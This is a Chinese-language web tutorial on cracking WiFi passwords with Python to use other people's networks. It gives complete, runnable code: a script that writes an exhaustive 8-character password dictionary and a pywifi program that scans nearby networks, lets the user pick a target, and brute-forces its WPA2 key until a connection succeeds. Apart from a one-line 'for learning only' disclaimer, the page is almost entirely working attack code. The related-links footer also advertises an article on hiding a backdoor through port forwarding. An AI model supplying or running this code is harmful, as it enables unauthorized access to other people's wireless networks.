python破解WiFi教程代碼,Python蹭網(wǎng)原理講解
用Python生成一個(gè)簡單的密碼本,一般是有數(shù)字、字母和符號(hào)組成,這里用到的思路主要是窮舉法。通過使用pywifi 模塊,根據(jù)密碼本暴力破解WiFi。
聲明:本文只是從技術(shù)的角度來闡述學(xué)習(xí)Pywifi庫!并不建議大家做任何破壞性的操作和任何不當(dāng)?shù)男袨椋?/strong>
一、安裝pywifi
pywifi是在python中一個(gè)用于操作無線接口的模塊,可以跨平臺(tái)使用,Windows和Linux都支持
在notebook或者pycharm、anaconda中安裝
pip install pywifi
二、構(gòu)建wifi密碼字典
一般字典包括數(shù)字(0-9)、字母(a-z,區(qū)分大小寫)、特殊字符(!@#$%^&*()_+=-)
常規(guī)的wifi密碼為8位,且僅包括數(shù)字和小寫字母,所以我們可以從數(shù)字和字母組成的字符串中隨機(jī)挑選出8位(單個(gè)字符可重復(fù)出現(xiàn)),作為wifi密碼組成字典存入txt文檔。
也可以去網(wǎng)上下載一個(gè)常用wifi密碼,只要是TXT文本就可以.
import itertools as its words = "1234567890abcdefghijklmnopqrstuvwxyz" #可選擇的字符 r =its.product(words,repeat=8) #組成8位字符串 dic = open("pwd.txt","a") #存儲(chǔ)為wifi密碼字典 #wifi密碼完成換行,并寫入txt文檔 for i in r: dic.write("".join(i)) dic.write("".join("\n")) dic.close()
三、python實(shí)現(xiàn)wifi破解
import pywifi import time from pywifi import const # WiFi掃描模塊 def wifi_scan(): # 初始化wifi wifi = pywifi.PyWiFi() # 使用第一個(gè)無線網(wǎng)卡 interface = wifi.interfaces()[0] # 開始掃描 interface.scan() for i in range(4): time.sleep(1) print('\r掃描可用 WiFi 中,請(qǐng)稍后。。。(' + str(3 - i), end=')') print('\r掃描完成!\n' + '-' * 38) print('\r{:4}{:6}{}'.format('編號(hào)', '信號(hào)強(qiáng)度', 'wifi名')) # 掃描結(jié)果,scan_results()返回一個(gè)集,存放的是每個(gè)wifi對(duì)象 bss = interface.scan_results() # 存放wifi名的集合 wifi_name_set = set() for w in bss: # 解決亂碼問題 wifi_name_and_signal = (100 + w.signal, w.ssid.encode('raw_unicode_escape').decode('utf-8')) wifi_name_set.add(wifi_name_and_signal) # 存入列表并按信號(hào)排序 wifi_name_list = list(wifi_name_set) wifi_name_list = sorted(wifi_name_list, key=lambda a: a[0], reverse=True) num = 0 # 格式化輸出 while num < len(wifi_name_list): print('\r{:<6d}{:<8d}{}'.format(num, wifi_name_list[num][0], wifi_name_list[num][1])) num += 1 print('-' * 38) # 返回wifi列表 return wifi_name_list # WIFI破解模塊 def wifi_password_crack(wifi_name): # 字典路徑 wifi_dic_path = input("請(qǐng)輸入本地用于WIFI暴力破解的密碼字典(txt格式,每個(gè)密碼占據(jù)1行)的路徑:") with open(wifi_dic_path, 'r') as f: # 遍歷密碼 for pwd in f: # 去除密碼的末尾換行符 pwd = pwd.strip('\n') # 創(chuàng)建wifi對(duì)象 wifi = pywifi.PyWiFi() # 創(chuàng)建網(wǎng)卡對(duì)象,為第一個(gè)wifi網(wǎng)卡 interface = wifi.interfaces()[0] # 斷開所有wifi連接 interface.disconnect() # 等待其斷開 while interface.status() == 4: # 當(dāng)其處于連接狀態(tài)時(shí),利用循環(huán)等待其斷開 pass # 創(chuàng)建連接文件(對(duì)象) profile = pywifi.Profile() # wifi名稱 profile.ssid = wifi_name # 需要認(rèn)證 profile.auth = const.AUTH_ALG_OPEN # wifi默認(rèn)加密算法 profile.akm.append(const.AKM_TYPE_WPA2PSK) profile.cipher = const.CIPHER_TYPE_CCMP # wifi密碼 profile.key = pwd # 刪除所有wifi連接文件 interface.remove_all_network_profiles() # 設(shè)置新的wifi連接文件 tmp_profile = interface.add_network_profile(profile) # 開始嘗試連接 interface.connect(tmp_profile) start_time = time.time() while time.time() - start_time < 1.5: # 接口狀態(tài)為4代表連接成功(當(dāng)嘗試時(shí)間大于1.5秒之后則為錯(cuò)誤密碼,經(jīng)測試測正確密碼一般都在1.5秒內(nèi)連接,若要提高準(zhǔn)確性可以設(shè)置為2s或以上,相應(yīng)暴力破解速度就會(huì)變慢) if interface.status() == 4: print(f'\r連接成功!密碼為:{pwd}') exit(0) else: print(f'\r正在利用密碼 {pwd} 嘗試破解。', end='') # 主函數(shù) def main(): # 退出標(biāo)致 exit_flag = 0 # 目標(biāo)編號(hào) target_num = -1 while not exit_flag: try: print('WiFi萬能鑰匙'.center(35, '-')) # 調(diào)用掃描模塊,返回一個(gè)排序后的wifi列表 wifi_list = wifi_scan() # 讓用戶選擇要破解的wifi編號(hào),并對(duì)用戶輸入的編號(hào)進(jìn)行判斷和異常處理 choose_exit_flag = 0 while not choose_exit_flag: try: target_num = int(input('請(qǐng)選擇你要嘗試破解的wifi:')) # 如果要選擇的wifi編號(hào)在列表內(nèi),繼續(xù)二次判斷,否則重新輸入 if target_num in range(len(wifi_list)): # 二次確認(rèn) while not choose_exit_flag: try: choose = str(input(f'你選擇要破解的WiFi名稱是:{wifi_list[target_num][1]},確定嗎?(Y/N)')) # 對(duì)用戶輸入進(jìn)行小寫處理,并判斷 if choose.lower() == 'y': choose_exit_flag = 1 elif choose.lower() == 'n': break # 處理用戶其它字母輸入 else: print('只能輸入 Y/N 哦o(* ̄︶ ̄*)o') # 處理用戶非字母輸入 except ValueError: print('只能輸入 Y/N 哦o(* ̄︶ ̄*)o') # 退出破解 if choose_exit_flag == 1: break else: print('請(qǐng)重新輸入哦(*^▽^*)') except ValueError: print('只能輸入數(shù)字哦o(* ̄︶ ̄*)o') # 密碼破解,傳入用戶選擇的wifi名稱 wifi_password_crack(wifi_list[target_num][1]) print('-' * 38) exit_flag = 1 except Exception as e: print(e) raise e if __name__ == '__main__': main()
到此這篇關(guān)于python破解WiFi教程代碼,Python蹭網(wǎng)原理講解的文章就介紹到這了,更多相關(guān)python破解WiFi內(nèi)容請(qǐng)搜索腳本之家以前的文章或繼續(xù)瀏覽下面的相關(guān)文章希望大家以后多多支持腳本之家!
相關(guān)文章
Python內(nèi)置的字符串處理函數(shù)詳細(xì)整理(覆蓋日常所用)
Python內(nèi)置的字符串處理函數(shù)整理,有字母處理、格式化相關(guān)、字符串搜索相關(guān)、字符串替換相關(guān)等等2014-08-08Python .py生成.pyd文件并打包.exe 的注意事項(xiàng)說明
這篇文章主要介紹了Python .py生成.pyd文件并打包.exe 的注意事項(xiàng)說明,具有很好的參考價(jià)值,希望對(duì)大家有所幫助。一起跟隨小編過來看看吧2021-03-03OpenCV簡單標(biāo)準(zhǔn)數(shù)字識(shí)別的完整實(shí)例
這篇文章主要給大家介紹了關(guān)于OpenCV簡單標(biāo)準(zhǔn)數(shù)字識(shí)別的相關(guān)資料,要通過opencv 進(jìn)行數(shù)字識(shí)別離不開訓(xùn)練庫的支持,需要對(duì)目標(biāo)圖片進(jìn)行大量的訓(xùn)練,才能做到精準(zhǔn)的識(shí)別出目標(biāo)數(shù)字,需要的朋友可以參考下2021-09-09使用python將圖片格式轉(zhuǎn)換為ico格式的示例
今天小編就為大家分享一篇使用python將圖片格式轉(zhuǎn)換為ico格式的示例,具有很好的參考價(jià)值,希望對(duì)大家有所幫助。一起跟隨小編過來看看吧2018-10-10python基于socket進(jìn)行端口轉(zhuǎn)發(fā)實(shí)現(xiàn)后門隱藏的示例
今天小編就為大家分享一篇python基于socket進(jìn)行端口轉(zhuǎn)發(fā)實(shí)現(xiàn)后門隱藏的示例,具有很好的參考價(jià)值,希望對(duì)大家有所幫助。一起跟隨小編過來看看吧2019-07-07談一談數(shù)組拼接tf.concat()和np.concatenate()的區(qū)別
今天小編就為大家分享一篇談?wù)剶?shù)組拼接tf.concat()和np.concatenate()的區(qū)別,具有很好的參考價(jià)值,希望對(duì)大家有所幫助。一起跟隨小編過來看看吧2020-02-02JetBrains PyCharm(Community版本)的下載、安裝和初步使用圖文教程詳解
這篇文章主要介紹了JetBrains PyCharm(Community版本)的下載、安裝和初步使用教程,本文圖文并茂給大家介紹的非常詳細(xì),對(duì)大家的學(xué)習(xí)和工作具有一定的參考借鑒價(jià)值 ,需要的朋友可以參考下2020-03-03